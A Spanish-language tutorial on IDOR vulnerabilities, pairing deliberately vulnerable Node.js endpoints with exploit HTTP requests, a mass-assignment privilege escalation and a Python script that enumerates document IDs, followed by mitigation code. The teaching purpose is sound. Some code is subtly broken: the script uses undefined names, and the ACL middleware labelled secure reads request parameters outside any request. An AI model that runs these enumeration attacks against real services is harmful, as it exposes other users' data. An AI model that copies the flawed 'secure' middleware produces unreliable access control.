¿Qué es IDOR?
Insecure Direct Object Reference (IDOR) ocurre cuando una aplicación expone referencias directas a objetos internos (IDs, nombres de archivo, etc.) sin verificar que el usuario tenga permiso para acceder a ellos.
Impacto Crítico
IDOR permite a un atacante:
- Ver documentos privados de otros usuarios
- Modificar pedidos/transacciones ajenas
- Acceder a facturas, recibos, historial médico
- Eliminar contenido de otros usuarios
- Escalar privilegios (acceder a admin panels)
IDOR es una de las vulnerabilidades más reportadas en Bug Bounty porque es fácil de encontrar pero puede tener impacto severo.
1. IDOR Básico - Cambiar ID en URL
Escenario Vulnerable
Node.js - Endpoint sin autorización
javascriptapp.get('/api/invoice/:id', async (req, res) => {
const invoiceId = req.params.id;
// ❌ VULNERABLE - Solo verifica que exista, no si pertenece al usuario
const invoice = await db.invoices.findById(invoiceId);
if (!invoice) {
return res.status(404).json({ error: 'Invoice not found' });
}
// Sin verificar ownership, retorna la factura
res.json(invoice);
});Explotación
Un usuario autenticado puede simplemente incrementar el ID para ver facturas de otros:
Peticiones HTTP
# Usuario ve su propia factura
GET /api/invoice/1523 HTTP/1.1
Cookie: session=abc123
Response:
{
"id": 1523,
"user_id": 42,
"total": 99.99,
"items": [...]
}
# Cambiar ID para ver factura de otro usuario
GET /api/invoice/1524 HTTP/1.1
Cookie: session=abc123
Response:
{
"id": 1524,
"user_id": 87, ← ¡Diferente usuario!
"total": 1599.99,
"credit_card": "4532-****-****-9876"
}
Con IDOR, el atacante puede iterar todos los IDs y extraer TODAS las facturas de TODOS los usuarios.
2. IDOR con UUIDs (No es Suficiente)
Muchos developers creen que usar UUIDs en lugar de IDs secuenciales previene IDOR.Esto es FALSO. UUIDs solo hacen la enumeración más difícil, pero NO verifican autorización.
Código aún vulnerable con UUID
javascriptapp.get('/api/document/:uuid', async (req, res) => {
const documentUUID = req.params.uuid;
// ❌ AÚN VULNERABLE - UUID no verifica ownership
const document = await db.documents.findByUUID(documentUUID);
if (!document) {
return res.status(404).json({ error: 'Not found' });
}
// Sin verificar si el usuario actual es el owner
res.json(document);
});Cómo Obtener UUIDs de Otros Usuarios
Vectores de leakage de UUIDs
text1. Endpoints de listado:
GET /api/shared-documents
→ Retorna UUIDs de documentos compartidos
2. Notificaciones/Emails:
"Juan ha compartido documento a3f5b8c2-..."
3. JavaScript en el frontend:
console.log() con UUIDs
4. Burp/History:
Otros requests pueden contener UUIDs ajenos
5. Error messages:
"Document a3f5b8c2-1234-... already exists"3. IDOR en Request Body (POST/PUT)
IDOR no solo ocurre en URLs. También puede estar en request bodies:
Código vulnerable en POST
javascriptapp.post('/api/order/update', async (req, res) => {
const { orderId, status } = req.body;
// ❌ VULNERABLE - Confía en orderId del cliente
await db.orders.updateOne(
{ id: orderId },
{ status: status }
);
res.json({ success: true });
});Exploit - Modificar Pedido Ajeno
Request malicioso
httpPOST /api/order/update HTTP/1.1
Content-Type: application/json
Cookie: session=victim_session
{
"orderId": 9999, ← ID de pedido de otro usuario
"status": "cancelled"
}El atacante puede cancelar pedidos de otros usuarios, cambiar direcciones de envío, o modificar precios si el backend no valida ownership.
4. IDOR + Mass Assignment
Combinar IDOR con Mass Assignment permite escalar privilegios:
Código doblemente vulnerable
javascriptapp.put('/api/user/:id/update', async (req, res) => {
const userId = req.params.id;
const updateData = req.body;
// ❌ VULNERABLE #1: No verifica que userId == currentUser.id
// ❌ VULNERABLE #2: Mass assignment - acepta cualquier campo
await db.users.updateOne({ id: userId }, updateData);
res.json({ success: true });
});Exploit - Hacerse admin
httpPUT /api/user/123/update HTTP/1.1
Content-Type: application/json
{
"role": "admin", ← Cambiar rol a admin
"is_verified": true,
"balance": 999999.99
}
# Si el atacante puede cambiar su propio userId a 123 (un admin),
# o si puede adivinar el ID de un admin, obtiene privilegios5. Automatización de IDOR
Script - Enumerar todos los documentos
pythonimport requests
BASE_URL = "https://vulnerable-app.com/api/document"
SESSION_COOKIE = "session=your_session_here"
def enumerate_documents(start_id, end_id):
found_documents = []
for doc_id in range(start_id, end_id):
url = f"{BASE_URL}/{doc_id}"
response = requests.get(
url,
cookies={'session': SESSION_COOKIE}
)
if response.status_code == 200:
data = response.json()
# Verificar si pertenece a otro usuario
if data.get('owner_id') != YOUR_USER_ID:
print(f"[!] IDOR Found: Document {doc_id}")
print(f" Owner: {data.get('owner_id')}")
print(f" Title: {data.get('title')}")
found_documents.append(data)
elif response.status_code == 403:
# Existe pero acceso denegado (implementación correcta)
print(f"[ ] Protected: {doc_id}")
# Rate limiting
time.sleep(0.5)
return found_documents
# Enumerar IDs del 1 al 10000
results = enumerate_documents(1, 10000)
print(f"\n[+] Total IDOR vulnerabilities: {len(results)}")Burp Intruder
Usa Burp Suite Intruder para automatizar testing de IDOR:
- Captura request con ID vulnerable
- Marca el ID como posición de payload
- Payload type: Numbers (sequential)
- Analiza responses con diferentes status codes/lengths
Mitigación Completa
✅ Principio Fundamental
NUNCA confíes en IDs que vienen del cliente. Siempre verifica que el usuario autenticado tenga permiso para acceder al recurso.
1. Verificar Ownership
✅ SEGURO - Verificar que recurso pertenece al usuario
javascriptapp.get('/api/invoice/:id', async (req, res) => {
const invoiceId = req.params.id;
const currentUserId = req.user.id; // Del token JWT/session
// ✅ SEGURO - Buscar invoice que pertenezca al usuario actual
const invoice = await db.invoices.findOne({
id: invoiceId,
user_id: currentUserId // ← KEY: Verificar ownership
});
if (!invoice) {
// No revela si existe o no (evitar información leak)
return res.status(404).json({ error: 'Invoice not found' });
}
res.json(invoice);
});2. No Exponer IDs Directos
✅ SEGURO - Usar indirect references
javascript// En lugar de exponer IDs de base de datos, usa mapping
const userSessionMap = new Map(); // userId → random token
app.get('/api/my-invoices', async (req, res) => {
const currentUserId = req.user.id;
const invoices = await db.invoices.findAll({
user_id: currentUserId
});
// Generar tokens temporales para cada invoice
const invoicesWithTokens = invoices.map(invoice => {
const token = crypto.randomBytes(16).toString('hex');
userSessionMap.set(token, {
invoiceId: invoice.id,
userId: currentUserId,
expiresAt: Date.now() + 3600000 // 1 hora
});
return {
token: token, // ← Usar en lugar de ID
total: invoice.total,
date: invoice.date
};
});
res.json(invoicesWithTokens);
});
app.get('/api/invoice/:token', async (req, res) => {
const token = req.params.token;
const mapping = userSessionMap.get(token);
if (!mapping || mapping.expiresAt < Date.now()) {
return res.status(404).json({ error: 'Not found' });
}
// Verificar que el usuario que pide es el owner
if (mapping.userId !== req.user.id) {
return res.status(404).json({ error: 'Not found' });
}
const invoice = await db.invoices.findById(mapping.invoiceId);
res.json(invoice);
});3. ACL (Access Control List)
✅ SEGURO - Sistema de permisos robusto
javascript// Middleware de autorización
async function checkResourcePermission(resourceType, resourceId, permission) {
return async (req, res, next) => {
const userId = req.user.id;
// Buscar en tabla de permisos
const hasPermission = await db.permissions.findOne({
resource_type: resourceType,
resource_id: resourceId,
user_id: userId,
permission: permission
});
if (!hasPermission) {
// También verificar si es owner
const resource = await db[resourceType].findById(resourceId);
if (resource.owner_id !== userId && !req.user.is_admin) {
return res.status(403).json({ error: 'Forbidden' });
}
}
next();
};
}
// Uso
app.get('/api/document/:id',
checkResourcePermission('documents', req.params.id, 'read'),
async (req, res) => {
const document = await db.documents.findById(req.params.id);
res.json(document);
}
);4. Rate Limiting para Prevenir Enumeración
✅ Rate limiting con express-rate-limit
javascriptconst rateLimit = require('express-rate-limit');
const apiLimiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15 minutos
max: 100, // Max 100 requests por IP
message: 'Too many requests, please try again later',
standardHeaders: true,
legacyHeaders: false,
});
// Aplicar a endpoints sensibles
app.use('/api/', apiLimiter);
// Limiter más estricto para recursos específicos
const resourceLimiter = rateLimit({
windowMs: 60 * 1000, // 1 minuto
max: 10, // Solo 10 requests por minuto
keyGenerator: (req) => req.user.id, // Por usuario, no por IP
});
app.get('/api/invoice/:id', resourceLimiter, async (req, res) => {
// ...
});Siguiente: Race Conditions
Explotar condiciones de carreraPor Aitana Security Team